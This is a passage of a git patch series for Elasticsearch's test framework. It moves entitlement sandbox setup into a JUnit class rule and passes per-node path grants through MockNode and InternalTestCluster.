+        boolean withEntitlementsOnTestCode = description.getAnnotation(ESTestCase.WithEntitlementsOnTestCode.class) != null;
+        var entitledPackages = description.getAnnotation(ESTestCase.EntitledTestPackages.class);
+
+        if (policyManager != null) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    if (active.compareAndSet(false, true)) {
+                        try {
+                            pathLookup.reset();
+                            policyManager.setActive(false == withoutEntitlements);
+                            policyManager.setTriviallyAllowingTestCode(false == withEntitlementsOnTestCode);
+                            if (entitledPackages != null) {
+                                assert entitledPackages.value().length > 0 : "No test packages specified in @EntitledTestPackages";
+                                policyManager.setEntitledTestPackages(entitledPackages.value());
+                            } else {
+                                policyManager.setEntitledTestPackages();
+                            }
+                            policyManager.clearModuleEntitlementsCache();
+                            // evaluate the suite
+                            base.evaluate();
+                        } finally {
+                            pathLookup.reset();
+                            policyManager.resetAfterTest();
+                            active.set(false);
+                        }
+                    } else {
+                        throw new AssertionError("TestPolicyManager doesn't support test isolation, test suits cannot be run in parallel");
+                    }
+                }
+            };
+        } else if (withEntitlementsOnTestCode) {
+            throw new AssertionError(
+                "Cannot use @WithEntitlementsOnTestCode on tests that are not configured to use entitlements for testing"
+            );
+        } else {
+            return base;
+        }
+    }
+
+    /**
+     * Temporarily adds node paths based entitlements based on a node's {@code settings} and {@code configPath}
+     * until the returned handle is closed.
+     * @see PathLookup
+     */
+    public Closeable addEntitledNodePaths(Settings settings, Path configPath) {
+        if (policyManager == null) {
+            return () -> {}; // noop if not running with entitlements
+        }
+
+        var unwrappedConfigPath = configPath;
+        while (unwrappedConfigPath instanceof FilterPath fPath) {
+            unwrappedConfigPath = fPath.getDelegate();
+        }
+        EntitledNodePaths entitledNodePaths = new EntitledNodePaths(settings, unwrappedConfigPath, this::removeEntitledNodePaths);
+        addEntitledNodePaths(entitledNodePaths);
+        return entitledNodePaths;
+    }
+
+    /**
+     * Revoke all entitled node paths.
+     */
+    public void revokeAllEntitledNodePaths() {
+        if (policyManager != null) {
+            pathLookup.reset();
+            policyManager.clearModuleEntitlementsCache();
+        }
+    }
+
+    private record EntitledNodePaths(Settings settings, Path configPath, Consumer<EntitledNodePaths> onClose) implements Closeable {
+        private Path homeDir() {
+            return absolutePath(PATH_HOME_SETTING.get(settings));
+        }
+
+        private Path configDir() {
+            return configPath != null ? configPath : homeDir().resolve("config");
+        }
+
+        private Path[] dataDirs() {
+            List<String> dataDirs = PATH_DATA_SETTING.get(settings);
+            return dataDirs.isEmpty()
+                ? new Path[] { homeDir().resolve("data") }
+                : dataDirs.stream().map(EntitledNodePaths::absolutePath).toArray(Path[]::new);
+        }
+
+        private Path[] sharedDataDir() {
+            String sharedDataDir = PATH_SHARED_DATA_SETTING.get(settings);
+            return Strings.hasText(sharedDataDir) ? new Path[] { absolutePath(sharedDataDir) } : new Path[0];
+        }
+
+        private Path[] repoDirs() {
+            return PATH_REPO_SETTING.get(settings).stream().map(EntitledNodePaths::absolutePath).toArray(Path[]::new);
+        }
+
+        @SuppressForbidden(reason = "must be resolved using the default file system, rather then the mocked test file system")
+        private static Path absolutePath(String path) {
+            return Paths.get(path).toAbsolutePath().normalize();
+        }
+
+        @Override
+        public void close() {
+            // wipePendingDataDirectories in tests requires entitlement delegation to work as this uses server's FileSystemUtils.
+            // until ES-10920 is solved, node grants cannot be removed until the test suite completes unless explicitly removing all node
+            // grants using revokeNodeGrants where feasible.
+            // onClose.accept(this);
+        }
+
+        @Override
+        public String toString() {
+            return Strings.format(
+                "EntitledNodePaths[configDir=%s, dataDirs=%s, sharedDataDir=%s, repoDirs=%s]",
+                configDir(),
+                dataDirs(),
+                sharedDataDir(),
+                repoDirs()
+            );
+        }
+    }
+
+    private void addEntitledNodePaths(EntitledNodePaths entitledNodePaths) {
+        logger.debug("Adding {}", entitledNodePaths);
+        pathLookup.add(BaseDir.CONFIG, entitledNodePaths.configDir());
+        pathLookup.add(BaseDir.DATA, entitledNodePaths.dataDirs());
+        pathLookup.add(BaseDir.SHARED_DATA, entitledNodePaths.sharedDataDir());
+        pathLookup.add(BaseDir.SHARED_REPO, entitledNodePaths.repoDirs());
+        policyManager.clearModuleEntitlementsCache();
+    }
+
+    private void removeEntitledNodePaths(EntitledNodePaths entitledNodePaths) {
+        logger.debug("Removing {}", entitledNodePaths);
+        pathLookup.remove(BaseDir.CONFIG, entitledNodePaths.configDir());
+        pathLookup.remove(BaseDir.DATA, entitledNodePaths.dataDirs());
+        pathLookup.remove(BaseDir.SHARED_DATA, entitledNodePaths.sharedDataDir());
+        pathLookup.remove(BaseDir.SHARED_REPO, entitledNodePaths.repoDirs());
+        policyManager.clearModuleEntitlementsCache();
+    }
+}
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestPathLookup.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestPathLookup.java
new file mode 100644
index 0000000000000..1e491dec1d710
--- /dev/null
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestPathLookup.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.entitlement.bootstrap;
+
+import org.apache.lucene.tests.mockfile.FilterFileSystem;
+import org.elasticsearch.entitlement.runtime.policy.PathLookup;
+
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.function.BiConsumer;
+import java.util.function.BiFunction;
+import java.util.stream.Stream;
+
+import static org.elasticsearch.entitlement.runtime.policy.PathLookup.BaseDir.TEMP;
+
+class TestPathLookup implements PathLookup {
+    private final Map<BaseDir, Collection<Path>> baseDirPaths;
+
+    TestPathLookup(Path tempDir) {
+        baseDirPaths = new ConcurrentHashMap<>();
+        baseDirPaths.put(TEMP, List.of(tempDir));
+    }
+
+    @Override
+    public Path pidFile() {
+        return null;
+    }
+
+    @Override
+    public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
+        return baseDirPaths.getOrDefault(baseDir, List.of()).stream();
+    }
+
+    @Override
+    public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
+        return Stream.empty();
+    }
+
+    @Override
+    public boolean isPathOnDefaultFilesystem(Path path) {
+        var fileSystem = path.getFileSystem();
+        if (fileSystem.getClass() != DEFAULT_FILESYSTEM_CLASS) {
+            while (fileSystem instanceof FilterFileSystem ffs) {
+                fileSystem = ffs.getDelegate();
+            }
+        }
+        return fileSystem.getClass() == DEFAULT_FILESYSTEM_CLASS;
+    }
+
+    void reset() {
+        baseDirPaths.keySet().retainAll(List.of(TEMP));
+    }
+
+    void add(BaseDir baseDir, Path... paths) {
+        baseDirPaths.compute(baseDir, baseDirModifier(Collection::add, paths));
+    }
+
+    void remove(BaseDir baseDir, Path... paths) {
+        baseDirPaths.compute(baseDir, baseDirModifier(Collection::remove, paths));
+    }
+
+    // This must allow for duplicate paths between nodes, the config dir for instance is shared across all nodes.
+    private static BiFunction<BaseDir, Collection<Path>, Collection<Path>> baseDirModifier(
+        BiConsumer<Collection<Path>, Path> operation,
+        Path... updates
+    ) {
+        // always return a new unmodifiable copy
+        return (BaseDir baseDir, Collection<Path> paths) -> {
+            paths = paths == null ? new ArrayList<>() : new ArrayList<>(paths);
+            for (Path update : updates) {
+                operation.accept(paths, update);
+            }
+            return Collections.unmodifiableCollection(paths);
+        };
+    }
+}
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
deleted file mode 100644
index 458d83590758c..0000000000000
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPathLookup.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the "Elastic License
- * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
- * Public License v 1"; you may not use this file except in compliance with, at
- * your election, the "Elastic License 2.0", the "GNU Affero General Public
- * License v3.0 only", or the "Server Side Public License, v 1".
- */
-
-package org.elasticsearch.entitlement.runtime.policy;
-
-import org.apache.lucene.tests.mockfile.FilterFileSystem;
-
-import java.nio.file.Path;
-import java.util.Collection;
-import java.util.List;
-import java.util.Map;
-import java.util.stream.Stream;
-
-public class TestPathLookup implements PathLookup {
-    final Map<BaseDir, Collection<Path>> baseDirPaths;
-
-    public TestPathLookup(Map<BaseDir, Collection<Path>> baseDirPaths) {
-        this.baseDirPaths = baseDirPaths;
-    }
-
-    @Override
-    public Path pidFile() {
-        return null;
-    }
-
-    @Override
-    public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
-        return baseDirPaths.getOrDefault(baseDir, List.of()).stream();
-    }
-
-    @Override
-    public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
-        return Stream.empty();
-    }
-
-    @Override
-    public boolean isPathOnDefaultFilesystem(Path path) {
-        var fileSystem = path.getFileSystem();
-        if (fileSystem.getClass() != DEFAULT_FILESYSTEM_CLASS) {
-            while (fileSystem instanceof FilterFileSystem ffs) {
-                fileSystem = ffs.getDelegate();
-            }
-        }
-        return fileSystem.getClass() == DEFAULT_FILESYSTEM_CLASS;
-    }
-}
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index bd1e6a468de31..f7397c8f898ed 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -31,7 +31,7 @@ public class TestPolicyManager extends PolicyManager {
 
     boolean isActive;
     boolean isTriviallyAllowingTestCode;
-    String[] entitledTestPackages = TEST_FRAMEWORK_PACKAGE_PREFIXES;
+    String[] entitledTestPackages;
 
     /**
      * We don't have modules in tests, so we can't use the inherited map of entitlements per module.
@@ -65,27 +65,30 @@ public void setTriviallyAllowingTestCode(boolean newValue) {
     }
 
     public void setEntitledTestPackages(String... entitledTestPackages) {
+        if (entitledTestPackages == null || entitledTestPackages.length == 0) {
+            this.entitledTestPackages = TEST_FRAMEWORK_PACKAGE_PREFIXES; // already validated and sorted
+            return;
+        }
+
         assertNoRedundantPrefixes(TEST_FRAMEWORK_PACKAGE_PREFIXES, entitledTestPackages, false);
         if (entitledTestPackages.length > 1) {
             assertNoRedundantPrefixes(entitledTestPackages, entitledTestPackages, true);
         }
-        String[] packages = ArrayUtils.concat(this.entitledTestPackages, entitledTestPackages);
+        String[] packages = ArrayUtils.concat(TEST_FRAMEWORK_PACKAGE_PREFIXES, entitledTestPackages);
         Arrays.sort(packages);
         this.entitledTestPackages = packages;
     }
 
-    /**
-     * Called between tests so each test is not affected by prior tests
-     */
     public final void resetAfterTest() {
-        clearModuleEntitlementsCache();
         isActive = false;
         isTriviallyAllowingTestCode = true;
+        entitledTestPackages = TEST_FRAMEWORK_PACKAGE_PREFIXES;
+        clearModuleEntitlementsCache();
     }
 
     /**
      * Clear cached module entitlements.
-     * This is required after updating entries in {@link TestPathLookup}.
+     * This is required after updating path entries.
      */
     public final void clearModuleEntitlementsCache() {
         assert moduleEntitlementsMap.isEmpty() : "We're not supposed to be using moduleEntitlementsMap in tests";
diff --git a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
index 1c501acf79424..3837aa4b426d4 100644
--- a/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
+++ b/test/framework/src/main/java/org/elasticsearch/node/MockNode.java
@@ -24,7 +24,7 @@
 import org.elasticsearch.common.util.MockBigArrays;
 import org.elasticsearch.common.util.MockPageCacheRecycler;
 import org.elasticsearch.common.util.PageCacheRecycler;
-import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
+import org.elasticsearch.core.IOUtils;
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.http.HttpServerTransport;
 import org.elasticsearch.indices.ExecutorSelector;
@@ -54,6 +54,7 @@
 import org.elasticsearch.transport.TransportService;
 import org.elasticsearch.transport.TransportSettings;
 
+import java.io.Closeable;
 import java.nio.file.Path;
 import java.util.Collection;
 import java.util.Collections;
@@ -234,31 +235,37 @@ protected HttpServerTransport newHttpTransport(PluginsService pluginsService, Ne
 
     private final Collection<Class<? extends Plugin>> classpathPlugins;
 
+    // handle for temporarily entitled node paths for this node; these will be removed on close.
+    private final Closeable entitledNodePaths;
+
     public MockNode(final Settings settings, final Collection<Class<? extends Plugin>> classpathPlugins) {
-        this(settings, classpathPlugins, true);
+        this(settings, classpathPlugins, true, () -> {});
     }
 
     public MockNode(
         final Settings settings,
         final Collection<Class<? extends Plugin>> classpathPlugins,
-        final boolean forbidPrivateIndexSettings
+        final boolean forbidPrivateIndexSettings,
+        final Closeable entitledNodePaths
     ) {
-        this(settings, classpathPlugins, null, forbidPrivateIndexSettings);
+        this(settings, classpathPlugins, null, forbidPrivateIndexSettings, entitledNodePaths);
     }
 
     public MockNode(
         final Settings settings,
         final Collection<Class<? extends Plugin>> classpathPlugins,
         final Path configPath,
-        final boolean forbidPrivateIndexSettings
+        final boolean forbidPrivateIndexSettings,
+        final Closeable entitledNodePaths
     ) {
-        this(prepareEnvironment(settings, configPath), classpathPlugins, forbidPrivateIndexSettings);
+        this(prepareEnvironment(settings, configPath), classpathPlugins, forbidPrivateIndexSettings, entitledNodePaths);
     }
 
     private MockNode(
         final Environment environment,
         final Collection<Class<? extends Plugin>> classpathPlugins,
-        final boolean forbidPrivateIndexSettings
+        final boolean forbidPrivateIndexSettings,
+        final Closeable entitledNodePaths
     ) {
         super(NodeConstruction.prepareConstruction(environment, null, new MockServiceProvider() {
 
@@ -269,10 +276,10 @@ PluginsService newPluginService(Environment environment, PluginsLoader pluginsLo
         }, forbidPrivateIndexSettings));
 
         this.classpathPlugins = classpathPlugins;
+        this.entitledNodePaths = entitledNodePaths;
     }
 
     private static Environment prepareEnvironment(final Settings settings, final Path configPath) {
-        TestEntitlementBootstrap.registerNodeBaseDirs(settings, configPath);
         return InternalSettingsPreparer.prepareEnvironment(
             Settings.builder().put(TransportSettings.PORT.getKey(), ESTestCase.getPortRange()).put(settings).build(),
             Collections.emptyMap(),
@@ -286,8 +293,7 @@ public synchronized boolean awaitClose(long timeout, TimeUnit timeUnit) throws I
         try {
             return super.awaitClose(timeout, timeUnit);
         } finally {
-            // wipePendingDataDirectories requires entitlement delegation to work due to this using FileSystemUtils ES-10920
-            // TestEntitlementBootstrap.unregisterNodeBaseDirs(settings(), getEnvironment().configDir());
+            IOUtils.closeWhileHandlingException(entitledNodePaths);
         }
     }
 
diff --git a/test/framework/src/main/java/org/elasticsearch/test/AbstractMultiClustersTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/AbstractMultiClustersTestCase.java
index b4f91f68b8bb7..8e2098f361b0b 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/AbstractMultiClustersTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/AbstractMultiClustersTestCase.java
@@ -127,7 +127,8 @@ public final void startClusters() throws Exception {
                 0,
                 clusterName + "-",
                 mockPlugins,
-                Function.identity()
+                Function.identity(),
+                TEST_ENTITLEMENTS::addEntitledNodePaths
             );
             try {
                 cluster.beforeTest(random());
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
index afbabe110aa4e..aa7fc5058b532 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESIntegTestCase.java
@@ -548,6 +548,7 @@ private TestCluster buildAndPutCluster(Scope currentClusterScope, long seed) thr
                 // close the previous one and create a new one
                 if (testCluster != null) {
                     IOUtils.closeWhileHandlingException(testCluster::close);
+                    TEST_ENTITLEMENTS.revokeAllEntitledNodePaths();
                 }
                 testCluster = buildTestCluster(currentClusterScope, seed);
             }
@@ -2326,7 +2327,8 @@ protected TestCluster buildTestCluster(Scope scope, long seed) throws IOExceptio
             getClientWrapper(),
             forbidPrivateIndexSettings(),
             forceSingleDataPath(),
-            autoManageVotingExclusions()
+            autoManageVotingExclusions(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
     }
 
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
index 7ebc5765bda63..53214590e4a60 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESSingleNodeTestCase.java
@@ -288,7 +288,7 @@ private Node newNode() {
             plugins.add(ConcurrentSearchTestPlugin.class);
         }
         plugins.add(MockScriptService.TestPlugin.class);
-        Node node = new MockNode(settings, plugins, forbidPrivateIndexSettings());
+        Node node = new MockNode(settings, plugins, forbidPrivateIndexSettings(), TEST_ENTITLEMENTS.addEntitledNodePaths(settings, null));
         try {
             node.start();
         } catch (NodeValidationException e) {
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
index e946f415cf392..add06432b4faa 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
@@ -111,7 +111,7 @@
 import org.elasticsearch.core.SuppressForbidden;
 import org.elasticsearch.core.TimeValue;
 import org.elasticsearch.core.Tuple;
-import org.elasticsearch.entitlement.bootstrap.TestEntitlementBootstrap;
+import org.elasticsearch.entitlement.bootstrap.TestEntitlementsRule;
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.env.NodeEnvironment;
 import org.elasticsearch.env.TestEnvironment;
@@ -159,6 +159,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.internal.AssumptionViolatedException;
 import org.junit.rules.RuleChain;
@@ -524,30 +525,8 @@ protected void afterIfSuccessful() throws Exception {}
         String[] value();
     }
 
-    @BeforeClass
-    public static void setupEntitlementsForClass() {
-        boolean withoutEntitlements = getTestClass().isAnnotationPresent(WithoutEntitlements.class);
-        boolean withEntitlementsOnTestCode = getTestClass().isAnnotationPresent(WithEntitlementsOnTestCode.class);
-        EntitledTestPackages entitledPackages = getTestClass().getAnnotation(EntitledTestPackages.class);
-
-        if (TestEntitlementBootstrap.isEnabledForTest()) {
-            TestEntitlementBootstrap.setActive(false == withoutEntitlements);
-            TestEntitlementBootstrap.setTriviallyAllowingTestCode(false == withEntitlementsOnTestCode);
-            if (entitledPackages != null) {
-                assert entitledPackages.value().length > 0 : "No test packages specified in @EntitledTestPackages";
-                TestEntitlementBootstrap.setEntitledTestPackages(entitledPackages.value());
-            }
-        } else if (withEntitlementsOnTestCode) {
-            throw new AssertionError(
-                "Cannot use @WithEntitlementsOnTestCode on tests that are not configured to use entitlements for testing"
-            );
-        }
-    }
-
-    @AfterClass
-    public static void resetEntitlements() {
-        TestEntitlementBootstrap.resetAfterTest();
-    }
+    @ClassRule
+    public static final TestEntitlementsRule TEST_ENTITLEMENTS = new TestEntitlementsRule();
 
     // setup mock filesystems for this test run. we change PathUtils
     // so that all accesses are plumbed thru any mock wrappers
diff --git a/test/framework/src/main/java/org/elasticsearch/test/InternalTestCluster.java b/test/framework/src/main/java/org/elasticsearch/test/InternalTestCluster.java
index 904e53d9af418..8b7fe57b94dea 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/InternalTestCluster.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/InternalTestCluster.java
@@ -179,6 +179,14 @@
  */
 public final class InternalTestCluster extends TestCluster {
 
+    /**
+     * Temporarily adds node paths based entitlements based on a node's {@code settings} and {@code configPath}
+     * until the returned handle is closed.
+     */
+    public interface EntitledNodePathsProvider {
+        Closeable addEntitledNodePaths(Settings settings, Path configPath);
+    }
+
     private static final Logger logger = LogManager.getLogger(InternalTestCluster.class);
 
     private static final Predicate<NodeAndClient> DATA_NODE_PREDICATE = new Predicate<>() {
@@ -278,6 +286,8 @@ public String toString() {
     // index of node to bootstrap as master, or BOOTSTRAP_MASTER_NODE_INDEX_AUTO or BOOTSTRAP_MASTER_NODE_INDEX_DONE
     private int bootstrapMasterNodeIndex = BOOTSTRAP_MASTER_NODE_INDEX_AUTO;
 
+    private final EntitledNodePathsProvider entitledNodePathsProvider;
+
     public InternalTestCluster(
         final long clusterSeed,
         final Path baseDir,
@@ -290,7 +300,8 @@ public InternalTestCluster(
         final int numClientNodes,
         final String nodePrefix,
         final Collection<Class<? extends Plugin>> mockPlugins,
-        final Function<Client, Client> clientWrapper
+        final Function<Client, Client> clientWrapper,
+        EntitledNodePathsProvider entitledNodePathsProvider
     ) {
         this(
             clusterSeed,
@@ -307,7 +318,8 @@ public InternalTestCluster(
             clientWrapper,
             true,
             false,
-            true
+            true,
+            entitledNodePathsProvider
         );
     }
 
@@ -326,7 +338,8 @@ public InternalTestCluster(
         final Function<Client, Client> clientWrapper,
         final boolean forbidPrivateIndexSettings,
         final boolean forceSingleDataPath,
-        final boolean autoManageVotingExclusions
+        final boolean autoManageVotingExclusions,
+        final EntitledNodePathsProvider entitledNodePathsProvider
     ) {
         super(clusterSeed);
         this.autoManageMasterNodes = autoManageMasterNodes;
@@ -335,6 +348,7 @@ public InternalTestCluster(
         this.baseDir = baseDir;
         this.clusterName = clusterName;
         this.autoManageVotingExclusions = autoManageVotingExclusions;
+        this.entitledNodePathsProvider = entitledNodePathsProvider;
         if (minNumDataNodes < 0 || maxNumDataNodes < 0) {
             throw new IllegalArgumentException("minimum and maximum number of data nodes must be >= 0");
         }
@@ -783,7 +797,14 @@ private synchronized NodeAndClient buildNode(int nodeId, Settings settings, bool
             // we clone this here since in the case of a node restart we might need it again
             secureSettings = ((MockSecureSettings) secureSettings).clone();
         }
-        MockNode node = new MockNode(settings, plugins, nodeConfigurationSource.nodeConfigPath(nodeId), forbidPrivateIndexSettings);
+        Path configPath = nodeConfigurationSource.nodeConfigPath(nodeId);
+        MockNode node = new MockNode(
+            settings,
+            plugins,
+            configPath,
+            forbidPrivateIndexSettings,
+            entitledNodePathsProvider.addEntitledNodePaths(settings, configPath)
+        );
         node.injector().getInstance(TransportService.class).addLifecycleListener(new LifecycleListener() {
             @Override
             public void afterStart() {
@@ -1058,7 +1079,12 @@ private void recreateNode(final Settings newSettings, final Runnable onTransport
                 .put(NodeEnvironment.NODE_ID_SEED_SETTING.getKey(), newIdSeed)
                 .build();
             Collection<Class<? extends Plugin>> plugins = node.getClasspathPlugins();
-            node = new MockNode(finalSettings, plugins, forbidPrivateIndexSettings);
+            node = new MockNode(
+                finalSettings,
+                plugins,
+                forbidPrivateIndexSettings,
+                entitledNodePathsProvider.addEntitledNodePaths(finalSettings, null)
+            );
             node.injector().getInstance(TransportService.class).addLifecycleListener(new LifecycleListener() {
                 @Override
                 public void afterStart() {
diff --git a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
index c0f1aaa227cdb..35a7d29194700 100644
--- a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
@@ -13,10 +13,12 @@
 import org.elasticsearch.test.ESTestCase;
 import org.junit.Before;
 
+import java.nio.file.Path;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.stream.Stream;
 
 import static org.elasticsearch.entitlement.runtime.policy.PolicyManager.ComponentKind.PLUGIN;
 import static org.hamcrest.Matchers.both;
@@ -34,20 +36,40 @@ public void setupPolicyManager() {
             List.of(),
             Map.of(),
             c -> new PolicyScope(PLUGIN, "example-plugin" + scopeCounter.incrementAndGet(), "org.example.module"),
-            new TestPathLookup(Map.of()),
+            new PathLookup() {
+                @Override
+                public Path pidFile() {
+                    return null;
+                }
+
+                @Override
+                public Stream<Path> getBaseDirPaths(BaseDir baseDir) {
+                    return Stream.empty();
+                }
+
+                @Override
+                public Stream<Path> resolveSettingPaths(BaseDir baseDir, String settingName) {
+                    return Stream.empty();
+                }
+
+                @Override
+                public boolean isPathOnDefaultFilesystem(Path path) {
+                    return true;
+                }
+            },
             List.of(),
             List.of()
         );
         policyManager.setActive(true);
     }
 
-    public void testResetAfterTest() {
+    public void testClearModuleEntitlementsCache() {
         assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
         assertEquals("example-plugin1", policyManager.getEntitlements(getClass()).componentName());
         assertFalse(policyManager.classEntitlementsMap.isEmpty());
 
-        policyManager.resetAfterTest();
+        policyManager.clearModuleEntitlementsCache();
 
         assertTrue(policyManager.classEntitlementsMap.isEmpty());
         assertEquals("example-plugin2", policyManager.getEntitlements(getClass()).componentName());
diff --git a/test/framework/src/test/java/org/elasticsearch/test/test/InternalTestClusterTests.java b/test/framework/src/test/java/org/elasticsearch/test/test/InternalTestClusterTests.java
index f5c358b3b3301..392ec929e39c3 100644
--- a/test/framework/src/test/java/org/elasticsearch/test/test/InternalTestClusterTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/test/test/InternalTestClusterTests.java
@@ -85,7 +85,8 @@ public void testInitializiationIsConsistent() {
             numClientNodes,
             nodePrefix,
             Collections.emptyList(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         InternalTestCluster cluster1 = new InternalTestCluster(
             clusterSeed,
@@ -99,7 +100,8 @@ public void testInitializiationIsConsistent() {
             numClientNodes,
             nodePrefix,
             Collections.emptyList(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         assertClusters(cluster0, cluster1, true);
     }
@@ -198,7 +200,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             numClientNodes,
             nodePrefix,
             mockPlugins(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         cluster0.setBootstrapMasterNodeIndex(bootstrapMasterNodeIndex);
 
@@ -214,7 +217,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             numClientNodes,
             nodePrefix,
             mockPlugins(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         cluster1.setBootstrapMasterNodeIndex(bootstrapMasterNodeIndex);
 
@@ -280,7 +284,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             numClientNodes,
             nodePrefix,
             mockPlugins(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         try {
             cluster.beforeTest(random());
@@ -375,7 +380,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             0,
             "",
             mockPlugins(),
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         cluster.beforeTest(random());
         List<DiscoveryNodeRole> roles = new ArrayList<>();
@@ -467,7 +473,8 @@ public Path nodeConfigPath(int nodeOrdinal) {
             0,
             nodePrefix,
             plugins,
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         try {
             cluster.beforeTest(random());
diff --git a/x-pack/plugin/ccr/src/test/java/org/elasticsearch/xpack/CcrIntegTestCase.java b/x-pack/plugin/ccr/src/test/java/org/elasticsearch/xpack/CcrIntegTestCase.java
index 644a2a074ac59..ee49dfcda3f78 100644
--- a/x-pack/plugin/ccr/src/test/java/org/elasticsearch/xpack/CcrIntegTestCase.java
+++ b/x-pack/plugin/ccr/src/test/java/org/elasticsearch/xpack/CcrIntegTestCase.java
@@ -182,7 +182,8 @@ public final void startClusters() throws Exception {
             0,
             "leader",
             mockPlugins,
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         leaderCluster.beforeTest(random());
         leaderCluster.ensureAtLeastNumDataNodes(numberOfNodesPerCluster());
@@ -204,7 +205,8 @@ public final void startClusters() throws Exception {
             0,
             "follower",
             mockPlugins,
-            Function.identity()
+            Function.identity(),
+            TEST_ENTITLEMENTS::addEntitledNodePaths
         );
         clusterGroup = new ClusterGroup(leaderCluster, followerCluster);
 

From 90f66ad812c51930e32da67c0530f24bd6a0ac0d Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Tue, 5 Aug 2025 12:32:48 +0200
Subject: [PATCH 289/299] ES|QL: fix generative tests (#131071) (#132435)

excluding dense vector fields for now, since they are not supported by most commands

(cherry picked from commit 0b06d9f24dbac94f89bf696daad98041b93e7b1b)

# Conflicts:
#	muted-tests.yml

Co-authored-by: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
---
 muted-tests.yml                                             | 6 ------
 .../xpack/esql/qa/rest/generative/EsqlQueryGenerator.java   | 4 +++-
 2 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
